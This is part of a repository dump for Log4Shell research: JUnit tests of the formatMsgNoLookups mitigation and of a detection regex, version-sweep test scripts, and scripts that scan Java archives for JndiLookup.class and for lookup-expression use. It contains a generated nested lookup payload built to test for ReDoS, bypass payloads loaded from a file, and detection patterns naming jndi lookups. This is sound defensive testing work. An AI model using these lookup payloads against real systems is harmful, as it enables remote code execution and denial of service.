AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE"); 66 | appenderBuilder.addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT); 67 | appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "%m%n")); 68 | RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO); 69 | rootLogger.add(builder.newAppenderRef("Console")); 70 | builder.add(appenderBuilder); 71 | builder.add(rootLogger); 72 | //Configurator.reconfigure(builder.build()); 73 | //Use this method is reconfigure(() do not exists in the log4j2 tested version 74 | Configurator.initialize(builder.build()); 75 | //Enable the security flag 76 | System.setProperty("log4j2.formatMsgNoLookups", "true"); 77 | //Setup the logger used 78 | victim = LogManager.getRootLogger(); 79 | //Display execution context 80 | System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion()); 81 | System.out.printf("Java version : %s\n", System.getProperty("java.version")); 82 | } 83 | 84 | @After 85 | public void testSuiteFinalize() throws Exception { 86 | //Reset SystemOut and SystemErr to original ones 87 | System.setOut(currentSystemOut); 88 | System.setErr(currentSystemErr); 89 | //Remove the SOCK proxy 90 | System.getProperties().remove("proxySet"); 91 | System.getProperties().remove("socksProxyHost"); 92 | System.getProperties().remove("socksProxyPort"); 93 | //Remove socket timeout 94 | System.getProperties().remove("sun.net.client.defaultConnectTimeout"); 95 | System.getProperties().remove("sun.net.client.defaultReadTimeout"); 96 | } 97 | 98 | @Test 99 | public void testExposure() throws Exception { 100 | //Ensure that the security flag is enabled 101 | Assert.assertNotNull("Flag 'log4j2.formatMsgNoLookups' must be set!", System.getProperty("log4j2.formatMsgNoLookups")); 102 | Assert.assertTrue("Flag 'log4j2.formatMsgNoLookups' must be enabled!", Boolean.parseBoolean(System.getProperty("log4j2.formatMsgNoLookups"))); 103 | //Log the payload 104 | victim.printf(Level.INFO, "%s", TEST_PAYLOAD); 105 | //Let's time to logger to write the content to the appender and any JNDI lookup to be attempted 106 | TimeUnit.SECONDS.sleep(10); 107 | //Check if any JNDI lookup tentative was performed 108 | String out = captureStream.toString(StandardCharsets.UTF_8); 109 | //Save the output for ease debugging operations 110 | Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.out")); 111 | Files.writeString(Paths.get("target", "Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE); 112 | //Apply assertion using the JNDI lookup marker 113 | Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.out file for details.", out.contains(TEST_FAILED_MARKER)); 114 | } 115 | } -------------------------------------------------------------------------------- /sandbox/src/test/java/internals/DetectionRegexBypassTest.java: -------------------------------------------------------------------------------- 1 | package internals; 2 | 3 | import org.junit.Assert; 4 | import org.junit.BeforeClass; 5 | import org.junit.Test; 6 | 7 | import java.io.File; 8 | import java.nio.file.Files; 9 | import java.nio.file.Path; 10 | import java.util.List; 11 | import java.util.regex.Matcher; 12 | import java.util.regex.Pattern; 13 | import java.util.stream.Collectors; 14 | 15 | /** 16 | * Test suite to ensure that the regex proposed to detect log4shell payload is not prone to a bypass. 17 | * The list of bypasses gathered is used as a source of payloads. 18 | * 19 | * @see "https://github.com/righettod/log4shell-analysis/blob/main/payloads/README.md" 20 | * @see "https://issues.apache.org/jira/browse/LOG4J2-3230" 21 | * @See "https://issues.apache.org/jira/browse/LOG4J2-3230?focusedCommentId=17461971&page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#comment-17461971" 22 | */ 23 | public class DetectionRegexBypassTest { 24 | private static List PAYLOADS; 25 | private static final Pattern DETECTION_REGEX = Pattern.compile("\\$\\{.*?:.*\\}"); 26 | private static final Path PAYLOAD_MD_FILE_PATH = new File("../payloads/README.md").toPath(); 27 | 28 | @BeforeClass 29 | public static void globalInit() throws Exception { 30 | //Load payloads form the MD file 31 | PAYLOADS = Files.readAllLines(PAYLOAD_MD_FILE_PATH).stream().filter(p -> p.contains("$")).collect(Collectors.toList()); 32 | System.out.printf("%s expressions loaded and used to test the regex: %s\n", PAYLOADS.size(), DETECTION_REGEX.pattern()); 33 | } 34 | 35 | @Test 36 | public void testExposureToBypasses() { 37 | PAYLOADS.forEach(p -> { 38 | Matcher matcher = DETECTION_REGEX.matcher(p); 39 | boolean matchFound = matcher.find(); 40 | Assert.assertTrue("Regex cannot spot the pattern: '" + p + "'", matchFound); 41 | }); 42 | } 43 | 44 | @Test(timeout = 60000L) 45 | public void testExposureToReDOS() { 46 | //Generate the huge payload: "${" + "${::-"*500000 + "$${::-j}" + "}"*500000 + "}" 47 | //Source is the ticket "LOG4J2-3230" - The comment added in tag SEE 48 | StringBuilder payload = new StringBuilder("${"); 49 | int occurrences = 500000; 50 | payload.append("${::-".repeat(occurrences)); 51 | payload.append("$${::-j}"); 52 | payload.append("}".repeat(occurrences)); 53 | payload.append("}"); 54 | //Apply test 55 | Matcher matcher = DETECTION_REGEX.matcher(payload); 56 | boolean matchFound = matcher.find(); 57 | System.out.println("Regex not prone to ReDOS."); 58 | Assert.assertTrue("Regex cannot spot the pattern: '" + payload + "'", matchFound); 59 | } 60 | 61 | } 62 | -------------------------------------------------------------------------------- /sandbox/testDOSExposure.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "[+] JDK" 3 | java -version 4 | echo "[+] TEST" 5 | while IFS= read -r line 6 | do 7 | mvn -q -D"test=Log4ShellDOSExposureTest" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null 2>&1 8 | rc=$? 9 | if [ $rc -ne 0 ] 10 | then 11 | echo "[RC: $rc] Version $line IS vulnerable." 12 | else 13 | echo "[RC: $rc] Version $line IS NOT vulnerable." 14 | fi 15 | done < "all-versions.txt" -------------------------------------------------------------------------------- /sandbox/testDefaultExposure.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | FLAG_VALUE=$1 3 | echo "[+] JDK" 4 | java -version 5 | echo "[+] TEST" 6 | while IFS= read -r line 7 | do 8 | mvn -q -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=$FLAG_VALUE" clean test 1>/dev/null 9 | rc=$? 10 | v=$(cat target/Log4ShellExposureTest.out | head -1) 11 | echo ">>> $v - RC: $rc" 12 | if [ $rc -ne 0 ] 13 | then 14 | echo "<<< Version $line flag log4j2.formatMsgNoLookups NOT effective." 15 | else 16 | echo "<<< Version $line flag log4j2.formatMsgNoLookups IS effective." 17 | fi 18 | done < "versions.txt" -------------------------------------------------------------------------------- /sandbox/testFormatMsgNoLookupsBypass.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "[+] JDK" 3 | java -version 4 | echo "[+] TEST" 5 | while IFS= read -r line 6 | do 7 | mvn -q -D"test=Log4ShellExposureTestFormatMsgNoLookupsBypass" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null 8 | rc1=$? 9 | mvn -q -D"test=Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null 10 | rc2=$? 11 | rc=$(($rc1 + $rc2)) 12 | echo ">>> RC: $rc" 13 | if [ $rc -ne 0 ] 14 | then 15 | echo "<<< Version $line flag log4j2.formatMsgNoLookups NOT effective." 16 | else 17 | echo "<<< Version $line flag log4j2.formatMsgNoLookups IS effective." 18 | fi 19 | done < "versions.txt" -------------------------------------------------------------------------------- /sandbox/versions.txt: -------------------------------------------------------------------------------- 1 | 2.10.0 2 | 2.11.0 3 | 2.11.1 4 | 2.11.2 5 | 2.12.0 6 | 2.12.1 7 | 2.12.2 8 | 2.13.0 9 | 2.13.1 10 | 2.13.2 11 | 2.13.3 12 | 2.14.0 13 | 2.14.1 14 | 2.15.0 15 | 2.16.0 16 | 2.17.0 17 | -------------------------------------------------------------------------------- /scripts/identify-log4j-class-location.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ######################################################################################################### 3 | # Script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files 4 | # Based on this script: 5 | # https://github.com/righettod/toolbox-pentest-web/blob/master/scripts/identify-class-location.sh 6 | ######################################################################################################### 7 | if [ "$#" -lt 1 ]; then 8 | script_name=$(basename "$0") 9 | echo "Usage:" 10 | echo " $script_name [BASE_SEARCH_FOLDER]" 11 | echo "" 12 | echo "Call example:" 13 | echo " $script_name /apps" 14 | exit 1 15 | fi 16 | # Constants 17 | JAR_FOUND=0 18 | TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class" 19 | APP_LIBS_FOLDER=$1 20 | WORK_FOLDER=/tmp/work 21 | JAR_WORK_FOLDER=/tmp/jarwork 22 | NESTED_JAR_WORK_FOLDER=/tmp/nestedjarwork 23 | CDIR=$(pwd) 24 | # See https://unix.stackexchange.com/a/9499 25 | OIFS="$IFS" 26 | IFS=$'\n' 27 | # Utility functions 28 | inspect_folder (){ 29 | folder_location=$1 30 | for jar_lib in $(find "$folder_location" -type f -iname "*.jar") 31 | do 32 | inspect_jar_file "$jar_lib" 33 | done 34 | } 35 | inspect_jar_file(){ 36 | jar_file_location=$1 37 | find=$(unzip -l "$jar_file_location" | grep -c "$TARGET_CLASS_NAME") 38 | if [ $find -ne 0 ] 39 | then 40 | JAR_FOUND=1 41 | echo "" 42 | echo -e "\e[91m[!] Class found in the file '$jar_file_location'.\e[0m" 43 | echo -e "\e[93m[+] Try to find the Maven artefact version...\e[0m" 44 | rm -rf "$JAR_WORK_FOLDER" 2>/dev/null 45 | mkdir "$JAR_WORK_FOLDER" 46 | unzip -q -d "$JAR_WORK_FOLDER" "$jar_file_location" 47 | chmod -R +r "$JAR_WORK_FOLDER" 48 | cd $JAR_WORK_FOLDER 49 | for f in $(grep -r "groupId\s*=\s*org.apache.logging.log4j" *) 50 | do 51 | file_loc=$(echo $f | cut -d":" -f1) 52 | artefact_version=$(grep -Po "version\s*=\s*.*" "$file_loc" | sed 's/version=//g') 53 | echo "File : $jar_file_location" 54 | echo "Metadata file : $file_loc" 55 | echo "Log4J version : $artefact_version" 56 | done 57 | cd $CDIR 58 | rm -rf $JAR_WORK_FOLDER 2>/dev/null 59 | fi 60 | # Handle nested jar case 61 | has_nested_jar=$(unzip -l "$jar_file_location" | grep "\.jar$" | grep -cv "Archive:") 62 | if [ $has_nested_jar -ne 0 ] 63 | then 64 | nestedjar_lib_name="$(basename "$jar_file_location")_$RANDOM" 65 | mkdir -p "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" 66 | unzip -q -d "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" "$jar_file_location" 67 | chmod -R +r "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" 68 | inspect_folder "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" 69 | fi 70 | } 71 | echo -e "\e[93m[+] Searching class '$TARGET_CLASS_NAME' across '$APP_LIBS_FOLDER' folder...\e[0m" 72 | for lib in $(find "$APP_LIBS_FOLDER" -type f -iname "*.jar" -o -iname "*.war" -o -iname "*.ear") 73 | do 74 | filename=$(basename "$lib") 75 | filename="$filename" 76 | extension="${filename##*.}" 77 | printf "\r[*] Inspecting file: %-80s" $filename 78 | if [ $extension == "ear" ] 79 | then 80 | rm -rf $WORK_FOLDER 2>/dev/null 81 | mkdir $WORK_FOLDER 82 | unzip -q -d $WORK_FOLDER "$lib" 83 | chmod -R +r $WORK_FOLDER 84 | for war_lib in $(find $WORK_FOLDER -type f -iname "*.war") 85 | do 86 | war_lib_name="$(basename "$war_lib")_$RANDOM" 87 | war_lib_folder="$WORK_FOLDER/$war_lib_name" 88 | mkdir "$war_lib_folder" 89 | unzip -q -d "$war_lib_folder" "$war_lib" 90 | chmod -R +r "$war_lib_folder" 91 | done 92 | inspect_folder "$WORK_FOLDER" 93 | rm -rf "$WORK_FOLDER" 2>/dev/null 94 | fi 95 | if [ $extension == "war" ] 96 | then 97 | rm -rf $WORK_FOLDER 2>/dev/null 98 | war_lib_name="$(basename "$lib")_$RANDOM" 99 | war_lib_folder=$WORK_FOLDER/$war_lib_name 100 | mkdir -p "$war_lib_folder" 101 | unzip -q -d "$war_lib_folder" "$lib" 102 | chmod -R +r "$war_lib_folder" 103 | inspect_folder "$WORK_FOLDER" 104 | rm -rf $WORK_FOLDER 2>/dev/null 105 | fi 106 | if [ $extension == "jar" ] 107 | then 108 | inspect_jar_file "$lib" 109 | fi 110 | done 111 | printf "\r%-100s" " " 112 | if [ $JAR_FOUND -eq 0 ] 113 | then 114 | echo -e "\r\e[92m[V] Inspection finished - Class not found!\e[0m\n" 115 | else 116 | echo -ne "\r\e[91m[!] Inspection finished - Class found!\e[0m\n" 117 | fi 118 | IFS="$OIFS" 119 | rm -rf "$NESTED_JAR_WORK_FOLDER" 2>/dev/null 120 | exit $JAR_FOUND 121 | -------------------------------------------------------------------------------- /scripts/identify-tcm-expressions-usage.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ######################################################################################################### 3 | # Script to identify code prone to CVE-2021-45046/CVE-2021-45105 in a collection of EAR/WAR/JAR files 4 | # Based on this script: 5 | # https://github.com/righettod/log4shell-analysis/blob/main/scripts/identify-log4j-class-location.sh 6 | ######################################################################################################### 7 | ##### 8 | # Requirements 9 | # 1) A release jar file from the project "https://github.com/intoolswetrust/jd-cli" must be present in the current folder. 10 | # 2) Same for java binary, it must available in $PATH. 11 | #### 12 | # Constants 13 | JAR_FOUND=0 14 | APP_LIBS_FOLDER=$1 15 | WORK_FOLDER=/tmp/work 16 | JAR_WORK_FOLDER=/tmp/jarwork 17 | JAR_SRC_WORK_FOLDER=/tmp/jarsrcwork 18 | NESTED_JAR_WORK_FOLDER=/tmp/nestedjarwork 19 | CDIR=$(pwd) 20 | DECOMPILER_JAR_FILE="jd-cli.jar" 21 | IGNORE_LOG4J_ARTEFACTS=0 22 | # See https://unix.stackexchange.com/a/9499 23 | OIFS="$IFS" 24 | IFS=$'\n' 25 | if [ "$#" -lt 1 ]; then 26 | script_name=$(basename "$0") 27 | echo "Usage:" 28 | echo " $script_name [BASE_SEARCH_FOLDER] [--ignore-log4j2-artefacts]" 29 | echo "" 30 | echo "Call example:" 31 | echo " $script_name /apps" 32 | echo " $script_name /apps --ignore-log4j2-artefacts" 33 | exit 1 34 | fi 35 | if [ "$#" -eq 2 ]; then 36 | IGNORE_LOG4J_ARTEFACTS=1 37 | echo -e "\e[93m[+] Exclude Log4J artefacts.\e[0m" 38 | else 39 | IGNORE_LOG4J_ARTEFACTS=0 40 | echo -e "\e[93m[+] Include Log4J artefacts.\e[0m" 41 | fi 42 | # Check requirement 43 | java -version 1>/dev/null 2>&1 44 | if [ $? -ne 0 ]; then 45 | echo "Java not in PATH:" 46 | java -version 47 | exit 1 48 | fi 49 | if [ ! -f "$DECOMPILER_JAR_FILE" ]; then 50 | echo "Decompiler jar file not in current folder!" 51 | exit 1 52 | fi 53 | # Utility functions 54 | inspect_jar_source_code(){ 55 | jar_file_location=$1 56 | # Verify if the current jar file is part of the log4j artefacts and if the user want to exclude them from the search 57 | is_log4j_artfact=$(unzip -l "$jar_file_location" | grep -c "org/apache/logging/log4j") 58 | if [ $is_log4j_artfact -ne 0 -a $IGNORE_LOG4J_ARTEFACTS -eq 1 ]; 59 | then 60 | return 61 | fi 62 | rm -rf "$JAR_SRC_WORK_FOLDER" 2>/dev/null 63 | mkdir "$JAR_SRC_WORK_FOLDER" 64 | # Decompile the jar file 65 | java -jar $CDIR/jd-cli.jar --logLevel OFF --outputDir "$JAR_SRC_WORK_FOLDER" "$jar_file_location" 66 | #Search usage of TCM across the files 67 | found1=$(grep -r --include "*.java" -nwE '(ThreadContext\.put|import\sorg\.apache\.logging\.log4j\.ThreadContext)' $JAR_SRC_WORK_FOLDER | wc -l) 68 | found2=$(grep -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '%(X|mdc|MDC)\{\s*.*?\s*\}' $JAR_SRC_WORK_FOLDER | wc -l) 69 | found=$(($found1 + $found2)) 70 | if [ $found -ne 0 ]; 71 | then 72 | JAR_FOUND=1 73 | echo -e "\e\n[91m[!] Usage of the Thread Context Map identified in decompiled sources of the jar file '$jar_file_location':\e[0m" 74 | grep --color -r --include "*.java" -nwE '(ThreadContext\.put|import\sorg\.apache\.logging\.log4j\.ThreadContext)' $JAR_SRC_WORK_FOLDER 75 | grep --color -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '%(X|mdc|MDC)\{\s*.*?\s*\}' $JAR_SRC_WORK_FOLDER 76 | fi 77 | found=$(grep -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '\$\{\s*(ctx|log4j|sys|env|main|marker|java|base64|lower|upper|sd|map|jndi|jvmrunargs|date|event|bundle):.*?\s*\}' $JAR_SRC_WORK_FOLDER | wc -l) 78 | if [ $found -ne 0 ]; 79 | then 80 | JAR_FOUND=1 81 | echo -e "\e\n[91m[!] Usage of Expressions identified in decompiled sources of the jar file '$jar_file_location':\e[0m" 82 | grep --color -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '\$\{\s*(ctx|log4j|sys|env|main|marker|java|base64|lower|upper|sd|map|jndi|jvmrunargs|date|event|bundle):.*?\s*\}' $JAR_SRC_WORK_FOLDER 83 | fi 84 | rm -rf "$JAR_SRC_WORK_FOLDER" 2>/dev/null 85 | } 86 | inspect_folder (){ 87 | folder_location=$1 88 | for jar_lib in $(find "$folder_location" -type f -iname "*.jar") 89 | do 90 | inspect_jar_file "$jar_lib" 91 | done 92 | } 93 | inspect_jar_file(){ 94 | jar_file_location=$1 95 | inspect_jar_source_code "$jar_file_location" 96 | # Handle nested jar case 97 | has_nested_jar=$(unzip -l "$jar_file_location" | grep "\.jar$" | grep -cv "Archive:") 98 | if [ $has_nested_jar -ne 0 ] 99 | then 100 | nestedjar_lib_name="$(basename "$jar_file_location")_$RANDOM" 101 | mkdir -p "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" 102 | unzip -q -d "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" "$jar_file_location" 103 | chmod -R +r "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" 104 | inspect_folder "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" 105 | fi 106 | } 107 | echo -e "\e[93m[+] Searching for Log4J2 Thread Context Map or Log4J2 Expressions usage across '$APP_LIBS_FOLDER' folder...\e[0m" 108 | for lib in $(find "$APP_LIBS_FOLDER" -type f -iname "*.jar" -o -iname "*.war" -o -iname "*.ear") 109 | do 110 | filename=$(basename "$lib") 111 | filename="$filename" 112 | extension="${filename##*.}" 113 | printf "\r[*] Inspecting file: %-80s" $filename 114 | if [ $extension == "ear" ] 115 | then 116 | rm -rf $WORK_FOLDER 2>/dev/null 117 | mkdir $WORK_FOLDER 118 | unzip -q -d $WORK_FOLDER "$lib" 119 | chmod -R +r $WORK_FOLDER 120 | for war_lib in $(find $WORK_FOLDER -type f -iname "*.war") 121 | do 122 | war_lib_name="$(basename "$war_lib")_$RANDOM" 123 | war_lib_folder="$WORK_FOLDER/$war_lib_name" 124 | mkdir "$war_lib_folder" 125 | unzip -q -d "$war_lib_folder" "$war_lib" 126 | chmod -R +r "$war_lib_folder" 127 | done 128 | inspect_folder "$WORK_FOLDER" 129 | rm -rf "$WORK_FOLDER" 2>/dev/null 130 | fi 131 | if [ $extension == "war" ] 132 | then 133 | rm -rf $WORK_FOLDER 2>/dev/null 134 | war_lib_name="$(basename "$lib")_$RANDOM" 135 | war_lib_folder=$WORK_FOLDER/$war_lib_name 136 | mkdir -p "$war_lib_folder" 137 | unzip -q -d "$war_lib_folder" "$lib" 138 | chmod -R +r "$war_lib_folder" 139 | inspect_folder "$WORK_FOLDER" 140 | rm -rf $WORK_FOLDER 2>/dev/null 141 | fi 142 | if [ $extension == "jar" ] 143 | then 144 | inspect_jar_file "$lib" 145 | fi 146 | done 147 | printf "\r%-100s" " " 148 | if [ $JAR_FOUND -eq 0 ] 149 | then 150 | echo -e "\r\e[92m[V] Inspection finished - No usage found!\e[0m\n" 151 | else 152 | echo -ne "\r\e[91m[!] Inspection finished - Usage found!\e[0m\n" 153 | fi 154 | IFS="$OIFS" 155 | rm -rf "$NESTED_JAR_WORK_FOLDER" 2>/dev/null 156 | exit $JAR_FOUND 157 | -------------------------------------------------------------------------------- /scripts/jd-cli.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/scripts/jd-cli.jar -------------------------------------------------------------------------------- /toc-location.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/toc-location.png -------------------------------------------------------------------------------- /videos/CVE-2021-44832_TestCfgAutoReload.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/videos/CVE-2021-44832_TestCfgAutoReload.mp4 -------------------------------------------------------------------------------- /workspace.code-workspace: -------------------------------------------------------------------------------- 1 | { 2 | "folders": [ 3 | { 4 | "path": "." 5 | } 6 | ], 7 | "settings": {} 8 | } --------------------------------------------------------------------------------